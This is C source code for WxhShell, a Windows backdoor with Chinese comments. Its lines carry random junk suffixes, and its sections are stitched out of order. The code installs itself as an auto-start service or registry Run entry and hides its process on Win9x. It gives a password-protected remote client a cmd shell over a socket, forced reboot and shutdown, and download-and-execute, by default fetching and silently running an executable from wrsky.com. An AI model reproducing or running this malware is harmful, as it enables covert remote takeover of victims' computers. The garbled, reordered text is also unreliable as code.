    } s$zm)y5  
  // 关机 Y4w]jIv  
  case 'd': { Yn$: |$  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); P* i 'uN  
    if(Boot(SHUTDOWN)) <2oMk#Ng^  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); & kVa*O  
    else { !VaC=I^{  
    closesocket(wsh); >Tjl?CS  
    ExitThread(0); :ssj7wl :  
    } FGPqF;  
    break; ps?su`  
    } ~%lA! tsek  
  // 获取shell m,"-/)  
  case 's': {  }D+ b`,  
    CmdShell(wsh); s?s ,wdp  
    closesocket(wsh); =>lX brJ  
    ExitThread(0); ; wxmSX9  
    break; JU;`c>8=)  
  }  3Z`"k2k  
  // 退出 ]%I\FefT  
  case 'x': { Q=>5@sZB  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); PjX V.gz  
    CloseIt(wsh); N34-z|"q  
    break; 4DDBf j  
    } E|>-7k")  
  // 离开 XZ{rKf2  
  case 'q': { CJh,-w{wJ"  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); /}2Y-GOU  
    closesocket(wsh); F+*fim'NK  
    WSACleanup(); t9MCT$U  
    exit(1); pEz^z9  
    break; WtKKdL  
        } ?&zi{N  
  } r7].48D  
  } &SPY'GQ!  
pH.&C 5kA  
  // 提示信息 i-;#FT+ Xc  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Cg?Mk6i  
} M%la@2SK=  
  } l53Q"ajG  
Ywv\9KL  
  return; +."|Y3a  
} hr&&b3W3p  
T)%6"rPL3!  
// shell模块句柄 livKiX`  
int CmdShell(SOCKET sock) (J.Z+s$:2  
{ 5-ED\-  
STARTUPINFO si; ;du},>T$n  
ZeroMemory(&si,sizeof(si)); /\<x8BJ  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Z*f%R\u  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; bcvm]aPu  
PROCESS_INFORMATION ProcessInfo; ItvcN  
char cmdline[]="cmd"; yH]Q;X '  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); K!qOO  
  return 0; ]" e'z  
} KQb&7k .  
V_ , `?>O  
// 自身启动模式 >q&5Z   
int StartFromService(void) T iL.py,  
{ d (x'\4(K  
typedef struct 3uxf n=E  
{ %.u*nM7sos  
  DWORD ExitStatus; h~]e~u V  
  DWORD PebBaseAddress; S[q:b .  
  DWORD AffinityMask; 9d^m 7}2  
  DWORD BasePriority; ;]0d{  
  ULONG UniqueProcessId; pnE]B0e  
  ULONG InheritedFromUniqueProcessId; M ;b3- i  
}   PROCESS_BASIC_INFORMATION; JFO,Q -y\  
1fsNQ!vQP  
PROCNTQSIP NtQueryInformationProcess; =n ,1*  
!W8=\:D[  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; szhSI  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; DZ\ '7%c  
wu eDedz\  
  HANDLE             hProcess; E9>z.vV   
  PROCESS_BASIC_INFORMATION pbi; Lfcy#3!  
B|"/bQ  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 7FPSBvU#/  
  if(NULL == hInst ) return 0; 4)OOj14-V  
!wQ?+ :6  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); Al6%RFt  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 3u[8;1}7Q  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ]UEA"^  
P(Rl/eyRM  
  if (!NtQueryInformationProcess) return 0; G/FDD{y  
uq-`1m }  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); CJCxL\  
  if(!hProcess) return 0; WkE="E}  
Li|~%E1  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; g(X `.0  
<QFayZ$  
  CloseHandle(hProcess); +>1?ck  
t3?I4HQ  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 4U}J?EB?K  
if(hProcess==NULL) return 0; H[nBNz)C  
z9OpMA  
HMODULE hMod; w' J`$=  
char procName[255]; &n_f.oUc  
unsigned long cbNeeded; 1U.X[}e  
;92xSe"Ww  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); fap]`P~#L  
IAGY-+8e  
  CloseHandle(hProcess); mF~]P8  
]NBx5m+y@i  
if(strstr(procName,"services")) return 1; // 以服务启动 u6?9#L(  
*S.FM.r  
  return 0; // 注册表启动 [t3 Kgjt  
} rjWtioZEa  
r,.j^a  
// 主模块 EATVce]T  
int StartWxhshell(LPSTR lpCmdLine) b?KdR5  
{ )\:IRr"  
  SOCKET wsl; r ~UDK]?V  
BOOL val=TRUE;  )sdHJ  
  int port=0; >KP,67  
  struct sockaddr_in door; x=xo9wEg  
c%hXj#;  
  if(wscfg.ws_autoins) Install(); L[9Kh&c  
R31Z(vY  
port=atoi(lpCmdLine); L5zCL0j`  
0AffD:  
if(port<=0) port=wscfg.ws_port; <F&XT@  
o938!jML_  
  WSADATA data; \WTKw x  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 5NN;Fw+  
(!5Pl`:j"  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   \/j,  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); s+fxv(,"c  
  door.sin_family = AF_INET; ,9jk<)m]L  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); "u4x#7n|  
  door.sin_port = htons(port); QgYt(/S  
WxO+cB+?  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { X>uLGr>  
closesocket(wsl); M[z1B!rT  
return 1; .On qj^v  
} XI[n!)3  
/1{:uh$  
  if(listen(wsl,2) == INVALID_SOCKET) { )h 6w@TF  
closesocket(wsl); wE=I3E%  
return 1; f&^"[S"\f  
} DjN1EP\Xx  
  Wxhshell(wsl); M\k[?i  
  WSACleanup(); u&S0  
ohx$;j  
return 0; |4pl}:g/Z  
?qSwV.l]d  
} 2bw) , W  
xSM1b5=Pu  
// 以NT服务方式启动 nj;3U^  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 'a JE+  
{ 8N"WKBj|_d  
DWORD   status = 0; \MmOI<Hd-  
  DWORD   specificError = 0xfffffff; eHs38X  
T{^mh(3/"  
  serviceStatus.dwServiceType     = SERVICE_WIN32; Qb)c>r  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; ~/JS_>e#6P  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; gfIS  
  serviceStatus.dwWin32ExitCode     = 0; Z&iW1  
  serviceStatus.dwServiceSpecificExitCode = 0; YuVlD/  
  serviceStatus.dwCheckPoint       = 0; ;8&/JSN M  
  serviceStatus.dwWaitHint       = 0; wzxV)1jT  
#W8?E_iu  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); }AB_i'C0  
  if (hServiceStatusHandle==0) return; u8>aO>(bVg  
MbInXv$q2/  
status = GetLastError(); ]9w8[T:O  
  if (status!=NO_ERROR) %{rb,6  
{ zGz}.-F  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; wN%lc3[/z2  
    serviceStatus.dwCheckPoint       = 0; (G./P@/[  
    serviceStatus.dwWaitHint       = 0; 6S{F4v2/0  
    serviceStatus.dwWin32ExitCode     = status; Uvc$&j^k  
    serviceStatus.dwServiceSpecificExitCode = specificError; t}Td$K7  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); yevJA?C4 v  
    return; iJoYxx  
  } `<v$+mG  
Z}vDP^rf  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; Pvt!G  
  serviceStatus.dwCheckPoint       = 0; &v;fK$=2C  
  serviceStatus.dwWaitHint       = 0; ]v>[r?X#V  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); U<sGj~"#  
} "HqmS  
Q=DMfJ"  
// 处理NT服务事件,比如:启动、停止 l"`VvW[  
VOID WINAPI NTServiceHandler(DWORD fdwControl) _e>N3fT  
{ @VIY=qh  
switch(fdwControl) wY%t# [T3  
{ |1A0YjOD  
case SERVICE_CONTROL_STOP: DHeZi3&i  
  serviceStatus.dwWin32ExitCode = 0; EHhc2^e  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; j8 2w 3  
  serviceStatus.dwCheckPoint   = 0; U" 3L  
  serviceStatus.dwWaitHint     = 0; JtMl/h  
  { Hq<4G:#  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); iQ2}*:Jc$  
  } RkF^V(  
  return; $*N(feAs  
case SERVICE_CONTROL_PAUSE: Ev3'EA~`  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; C:^ :^y  
  break; $]};EI#  
case SERVICE_CONTROL_CONTINUE: SKNHLE}  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; Rsq EAdZw[  
  break; x_<#28H!  
case SERVICE_CONTROL_INTERROGATE: k1yqe rA  
  break; IOC$jab@  
};  Rm)hgmZ  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); /!t:MK;  
} }TZM@{;  
gk?H@b*  
// 标准应用程序主函数 80g}<Lwc  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) o(?9vU  
{ c C) <Y#1  
h/:LC 7  
// 获取操作系统版本 9yTDuhJ6  
OsIsNt=GetOsVer(); Ho*B<#&(A|  
GetModuleFileName(NULL,ExeFile,MAX_PATH); -Q<OSa='  
-!5l4  
  // 从命令行安装 MxX)&327  
  if(strpbrk(lpCmdLine,"iI")) Install(); kiyKL:6D|  
#Q["[}flVv  
  // 下载执行文件 "O$WfpKX  
if(wscfg.ws_downexe) { ONpvx5'#  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 3w p@OF_  
  WinExec(wscfg.ws_filenam,SW_HIDE); BKI-Dh  
} 8;<aco/62  
q\jq9)  
if(!OsIsNt) { e2V;6N  
// 如果时win9x,隐藏进程并且设置为注册表启动 GoX<d{  
HideProc(); <1lB[:@%U  
StartWxhshell(lpCmdLine); 37 ?X@@Z=  
} >f^kp8`3{Y  
else ) Kl@dj  
  if(StartFromService()) .L1[Rv3  
  // 以服务方式启动 KI*b We  
  StartServiceCtrlDispatcher(DispatchTable); (gvnIoDl0  
else 3"my!}03  
  // 普通方式启动 NW;_4g4qE  
  StartWxhshell(lpCmdLine); >b0 Bvx-  
/>:$"+gKo  
return 0; n.NWS/v_{  
} _PC<Td>nm  
$}S0LZ_H  
Yg&/^  
Z vC?F=tH  
=========================================== P<[) qq@;  
0d:t=LKw)  
:wRfk*Ly  
@Ss W  
v;?W|kJ.u  
uhaHY`w  
" Ywt9^M|z;  
n|Y}M]u,  
#include <stdio.h> qSD`S1'2;  
#include <string.h> ? ][/hL@[  
#include <windows.h> 8 ks\-38n1  
#include <winsock2.h> !~7lY]_U  
#include <winsvc.h> &"A:_5AU  
#include <urlmon.h> ,d.5K*?aI  
`{yI| Wf  
#pragma comment (lib, "Ws2_32.lib") {`)o xzR  
#pragma comment (lib, "urlmon.lib") m8b-\^eP7  
&jg>X+;  
#define MAX_USER   100 // 最大客户端连接数 n++ak\  
#define BUF_SOCK   200 // sock buffer Unt]=S3u  
#define KEY_BUFF   255 // 输入 buffer IvQuxs&a  
!,b&e  
#define REBOOT     0   // 重启 -cn`D2RP  
#define SHUTDOWN   1   // 关机 {H9g&pfv  
'?NMQ  
#define DEF_PORT   5000 // 监听端口 , .=7{y~  
2p 7;v7)y  
#define REG_LEN     16   // 注册表键长度 f` -vnh^+  
#define SVC_LEN     80   // NT服务名长度 e iH&<AH  
' < >Q20  
// 从dll定义API r~,3  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 9]G~i`QQ  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); vGJw/ij'X  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); E"/k"1@  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); ZtGk Md$  
B 'd@ms  
// wxhshell配置信息 |KPNl\%ID  
struct WSCFG { /Gb)BJk!  
  int ws_port;         // 监听端口 }LEasj  
  char ws_passstr[REG_LEN]; // 口令 Lew 2Z  
  int ws_autoins;       // 安装标记, 1=yes 0=no 7N vRZ!  
  char ws_regname[REG_LEN]; // 注册表键名 !VudZ]Sg  
  char ws_svcname[REG_LEN]; // 服务名 Aq'~'hS`1  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 kxAT  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 U =g&c `  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 0d~?|Nv -  
int ws_downexe;       // 下载执行标记, 1=yes 0=no e!C,<W&B\  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" *U8,Q]gS  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 wA,-!m  
&g*1If  
}; @l_rB~  
Gcxz$.(  
// default Wxhshell configuration M#8_Qbvfk  
struct WSCFG wscfg={DEF_PORT, JH2-'  
    "xuhuanlingzhe", Rf=-Q %  
    1, $|!3ks  
    "Wxhshell", HG5E,^1n  
    "Wxhshell", *|L;&XM&/  
            "WxhShell Service", dIQ3snG  
    "Wrsky Windows CmdShell Service", w; f LnEz_  
    "Please Input Your Password: ", \l5G   
  1, 4Uwcc):f  
  "http://www.wrsky.com/wxhshell.exe", v`7~#Avhz  
  "Wxhshell.exe" :8+x&zn  
    }; A&-2f]L tl  
,^v_gc  
// 消息定义模块 =XSupM[T  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; -B7X;{  
char *msg_ws_prompt="\n\r? for help\n\r#>"; #&K}w 0}k  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; &t6SI'  
char *msg_ws_ext="\n\rExit."; 4~nf~  
char *msg_ws_end="\n\rQuit."; gKWUHlQY  
char *msg_ws_boot="\n\rReboot..."; =|^R<#%/  
char *msg_ws_poff="\n\rShutdown..."; ~Hx>yn94e  
char *msg_ws_down="\n\rSave to "; !L)|N<  
_4k zlD  
char *msg_ws_err="\n\rErr!"; vr kj4J f  
char *msg_ws_ok="\n\rOK!"; i~4$V  
(ze9-!%  
char ExeFile[MAX_PATH]; Q+U" %   
int nUser = 0; SU~ljAF4  
HANDLE handles[MAX_USER]; '8@4FXK  
int OsIsNt; ^O"o-3dte  
.NF3dC\  
SERVICE_STATUS       serviceStatus; { "f} }}l  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; mD?={*7%  
{HVsRpNEf  
// 函数声明 W<~u0AyO 3  
int Install(void); y;.5AvfD  
int Uninstall(void); $ 93j;  
int DownloadFile(char *sURL, SOCKET wsh); b'`C<Rk  
int Boot(int flag); 4C;"4''L  
void HideProc(void); rZ RTQ  
int GetOsVer(void); =%[vHQ\%  
int Wxhshell(SOCKET wsl); `w "ooK  
void TalkWithClient(void *cs); {~Q}{ha  
int CmdShell(SOCKET sock); 2 jxh7\zE  
int StartFromService(void); bl|)/)6o  
int StartWxhshell(LPSTR lpCmdLine); PvxU.  
mMK 93Ng"&  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); VZk;{  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); pWoeF=+y]W  
JY D\VaW  
// 数据结构和表定义  SmAF+d  
SERVICE_TABLE_ENTRY DispatchTable[] = _2}/rwVg  
{ _znn`_N:v  
{wscfg.ws_svcname, NTServiceMain}, ,LU|WXRB  
{NULL, NULL} k/Ao?R=@gI  
}; Y5mk*Q#q  
]4 \6_J&  
// 自我安装 %w3tzE1Hq  
int Install(void) ]9 9; 7  
{ {]7lh#M  
  char svExeFile[MAX_PATH]; 5N2`e3:I  
  HKEY key; M^/ZpKeT"  
  strcpy(svExeFile,ExeFile); 5^2P\y(?  
H" pwIiC  
// 如果是win9x系统,修改注册表设为自启动 e~6>8YO+7j  
if(!OsIsNt) { S<w? ,Z  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Z,, qmwd  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); u6*0% Km  
  RegCloseKey(key); ~(.&nysZ-  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { "3Ckc"G@  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); R\u5!M$::  
  RegCloseKey(key); Dv=pX.Z+  
  return 0; XpT~]q}  
    } _=I&zUF  
  } (Ii+}Mfp  
} e{ZS"e`!  
else { ^8g<>, $  
;![rwra  
// 如果是NT以上系统,安装为系统服务 H5A7EZq}`  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 94[8~_{fG  
if (schSCManager!=0) OI^qX;#Kd  
{ u$(XZ;Jg  
  SC_HANDLE schService = CreateService <EuS6Pg  
  ( 8;(3fSNC  
  schSCManager, ]_! . xx>  
  wscfg.ws_svcname, Lhxg5cd  
  wscfg.ws_svcdisp, , #(k|Zztc  
  SERVICE_ALL_ACCESS, Tnnj8I1v  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , {_jbFJ  
  SERVICE_AUTO_START, ^^[A\'  
  SERVICE_ERROR_NORMAL, l+^4y_  
  svExeFile, Qf@ha  
  NULL, !<0 `c  
  NULL, ,GF(pCZzG  
  NULL, fvV5G,lD3h  
  NULL, sN/8OLc  
  NULL }I~)o!N%7  
  ); R'B-$:u  
  if (schService!=0) BIjkW.uf  
  { $< .wQ8:Q  
  CloseServiceHandle(schService); D+4$l+\u  
  CloseServiceHandle(schSCManager); G,@ Jo[e  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); /+?eSgM/  
  strcat(svExeFile,wscfg.ws_svcname); kclZ+E  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { iGIry^D  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); Rw`64L_  
  RegCloseKey(key); wG&rkg";#  
  return 0; %/%TR@/  
    } `_pVwa<@w  
  } ]/?$DNjCc  
  CloseServiceHandle(schSCManager); xL!@$;J  
} 7$JE+gL/7  
} 4{ED~w|  
mFuHZ)iQG  
return 1; i[ n3ILn  
} }^*m0`H  
xyi4U(;  
// 自我卸载 -N1X=4/fg  
int Uninstall(void) {6>:= ?7]R  
{ Pt7yYl&n7^  
  HKEY key; v}uzUY  
cnU()pd  
if(!OsIsNt) { XWUi_{zn  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { &v/R-pz  
  RegDeleteValue(key,wscfg.ws_regname); A7GWU{i  
  RegCloseKey(key); E*#5OT  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { :gx]zxK  
  RegDeleteValue(key,wscfg.ws_regname); i [2bz+Z?  
  RegCloseKey(key); :eR\0cn  
  return 0; eY'RDQa  
  } .2*h!d)E  
} 7_5-gtD  
} Mdy4H[Odq  
else { ZtOv'nTD  
1,pPLc(  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 8} |!p>  
if (schSCManager!=0) l }]"X@&G  
{ [}?E,1Q3  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); Lz`_&&6  
  if (schService!=0) "V<7X%LIX  
  { _16r8r$V  
  if(DeleteService(schService)!=0) { {[r}gS%  
  CloseServiceHandle(schService); ZE6W"pbjU  
  CloseServiceHandle(schSCManager); %ERR^  
  return 0; V6r*fEhrT_  
  } ?q}:ojrs1  
  CloseServiceHandle(schService); \|C~VU@  
  } {:`XhPS<B  
  CloseServiceHandle(schSCManager); YZ/2 :[b  
} )bK3%>H#  
} 7Q # A  
zB#.EW  
return 1; 2%~+c|TH.)  
} sO8F0@%aH(  
UZ7ukn-  
// 从指定url下载文件 23P7%\  
int DownloadFile(char *sURL, SOCKET wsh) 3u1\zse  
{ \&^U9=uq  
  HRESULT hr; Ew&|!d  
char seps[]= "/"; y6gaoj  
char *token; z /f0 .RJ  
char *file; L [X "N  
char myURL[MAX_PATH]; kC/An@J^#  
char myFILE[MAX_PATH]; 3F{R$M}  
MZdj!(hO  
strcpy(myURL,sURL); 7J5Yzu)D  
  token=strtok(myURL,seps); } v3w-  
  while(token!=NULL) o:lMRP~  
  { w)"F=33}5  
    file=token; 9mB] \{^  
  token=strtok(NULL,seps);  ~5n?=  
  } (kSb74*g  
E&> 2=$~  
GetCurrentDirectory(MAX_PATH,myFILE); F&D ,y-CQ  
strcat(myFILE, "\\"); ~R~MC(5N[  
strcat(myFILE, file); Gn 1  
  send(wsh,myFILE,strlen(myFILE),0); #e&LyYx4  
send(wsh,"...",3,0); lrK?&a9AB  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 7O'u5 N  
  if(hr==S_OK) 9K=K,6 b  
return 0; /Ca M(^W   
else #[sJKW  
return 1; ,? V YrL  
8k?V&J `  
} ;H"OZRQ  
4gn|zSe>^  
// 系统电源模块 O]Q8&(  
int Boot(int flag) 4}*V=>z  
{ Bn*QT:SKC  
  HANDLE hToken; N'I9J?e Q  
  TOKEN_PRIVILEGES tkp; :qtg`zM/4  
fs8C ^Ik>~  
  if(OsIsNt) { "VA'W/yv!  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); R{{?wr6b$  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); XZj3x',;  
    tkp.PrivilegeCount = 1; .8]=yPm  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; (O'O #AD  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); zz-X5PFn  
if(flag==REBOOT) { 8n/[oDc]  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) Nd**":i$  
  return 0; =Kt!+^\")  
} UW-`k1  
else { ^'4I%L"  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) d@{#F"o  
  return 0; ]NY^0SqM  
} N`7+] T  
  } /n3SE0Y  
  else { P7;q^jlB  
if(flag==REBOOT) { BJnysQ  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) t[\6/`YH  
  return 0; 9&1$\ZH  
} f!JSb?#3  
else { oX?~  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) gg$:U  
  return 0; *)Pb-c  
} VoNk.h"T  
} K9S(Xip  
XknbcA|  
return 1; |i- S}M  
} 1N+ju"2R  
fP{IW`t}]  
// win9x进程隐藏模块 py9`q7F  
void HideProc(void) >&)|fV&4  
{ g7Z3GUCGL  
Hx ojxZwm  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); @EUvx  
  if ( hKernel != NULL ) ?nD]p!  
  { /@6T~XY M  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); h{CyYsQ  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); CA ,2&v"  
    FreeLibrary(hKernel); P8GGN  
  } vJuL+'[i  
 T_<:  
return; p?x]|`M  
} %6TS_IpJ  
Uk4G9}I  
// 获取操作系统版本 x6 h53R  
int GetOsVer(void) Gvc/o$_  
{ lt#3&@<v  
  OSVERSIONINFO winfo; cd)}a_9  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); {$v>3FG  
  GetVersionEx(&winfo); ?cgb3^R'  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 29f4[V X  
  return 1; 0#/Pc`z C  
  else cfPQcB>A  
  return 0; C.+:FY.H  
} mWH;-F*%  
*m`F-J6U  
// 客户端句柄模块 g3\1 3<  
int Wxhshell(SOCKET wsl) -@/!u9l  
{ r1.OLn?C  
  SOCKET wsh; O @{<?[  
  struct sockaddr_in client; S|T*-?|  
  DWORD myID; &;$- &;  
>!#or- C  
  while(nUser<MAX_USER) Ej'N !d.  
{ 6KKQ)DNu_  
  int nSize=sizeof(client); ]?~[!&h  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); "qw.{{:tf  
  if(wsh==INVALID_SOCKET) return 1; A "~Oi  
BV]$= e'  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); wQ\bGBks  
if(handles[nUser]==0) =[`gfw  
  closesocket(wsh); ;>jOB>b{h  
else XF99h&;9  
  nUser++; <Sp>uhet1  
  } Z8WBOf*~e  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); y(jd$GM|  
iU4Z9z!  
  return 0; wK  Je^7  
} [)nU?l  
64f6D"."  
// 关闭 socket gdG#;T'  
void CloseIt(SOCKET wsh) 2yA+zJ 46B  
{ 8<Ex`  
closesocket(wsh); N-}|!pqb  
nUser--; .< -~k@ P  
ExitThread(0); x$6FvgP(  
} cDh\$7'b  
J24H}^~na  
// 客户端请求句柄 wyv%c/WlS  
void TalkWithClient(void *cs) G/V0Yn""  
{ /4,U@s)"/  
n$ZxN"q <  
  SOCKET wsh=(SOCKET)cs; Xh`Oin}<  
  char pwd[SVC_LEN]; -d6PXf5  
  char cmd[KEY_BUFF]; =}[m_rp&  
char chr[1]; G3de<?K.[V  
int i,j; eLk:">kj  
}~! D]/B  
  while (nUser < MAX_USER) { vf['$um  
K2-nP2Go?  
if(wscfg.ws_passstr) { UUxP4  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ,~7+r#q7  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); .KF(_ 92  
  //ZeroMemory(pwd,KEY_BUFF); ?f=7F %  
      i=0; XC\'8hL:  
  while(i<SVC_LEN) { ~JohcU}d  
]H=P(Z -  
  // 设置超时 _)^`+{N<  
  fd_set FdRead; ;e\K8*o  
  struct timeval TimeOut; IYB;X  
  FD_ZERO(&FdRead); }r:8w*4 7  
  FD_SET(wsh,&FdRead); ~D! Y] SK  
  TimeOut.tv_sec=8; K?,`gCN}v  
  TimeOut.tv_usec=0; Hv|(V3-  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); {fu[&@XV  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); ufS0UD8%H  
hPrE  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); a}7P:e*u  
  pwd=chr[0]; r8[Ywn <u  
  if(chr[0]==0xd || chr[0]==0xa) { eHH9#Vrhc$  
  pwd=0; gO m%?sg  
  break; \`WAG>'l5  
  } *AA78G|  
  i++; fDZnC Fa  
    } fh@/fd  
u&$1XZ!es  
  // 如果是非法用户,关闭 socket >2;KPV0H  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); G>W:3y  
} Q?-uJ1J  
scR+F'M  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 30L/-+r1  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); |sV@j_TX  
juBzpQYj  
while(1) { vz'<i. Yv4  
R5'_il  
  ZeroMemory(cmd,KEY_BUFF); k1M?6TW&  
@wW)#!Mou  
      // 自动支持客户端 telnet标准   I}1<epd ,  
  j=0; }3y Q*<  
  while(j<KEY_BUFF) { Ui;PmwQc&  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ,\E5et4  
  cmd[j]=chr[0]; WvHy}1W  
  if(chr[0]==0xa || chr[0]==0xd) { IR<*OnKn  
  cmd[j]=0; nF{>RD  
  break; RUlJP  
  } f`_6X~ p  
  j++; ]\oE}7K%r  
    } f{f|frs  
cUZ^,)8 Z  
  // 下载文件 U%_6'5s{^  
  if(strstr(cmd,"http://")) { PoRL35  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); M@O<b-  
  if(DownloadFile(cmd,wsh)) d,%@*v]S  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); KS(Ms*k;'  
  else F` ]s  
